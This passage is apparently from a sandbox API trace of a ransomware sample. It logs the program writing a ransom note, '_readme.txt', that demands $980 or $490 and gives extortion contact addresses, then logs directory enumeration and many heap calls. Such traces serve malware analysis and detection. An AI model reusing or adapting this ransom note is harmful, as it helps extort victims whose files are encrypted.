ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.594] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.594] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.594] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.594] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.595] CloseHandle (hObject=0x5c4) returned 1 [0066.595] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.595] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.595] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.595] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.595] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.596] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.596] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.596] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33a2f50, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.596] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33a2f50, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.596] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.596] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.596] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.601] HeapFree (in: 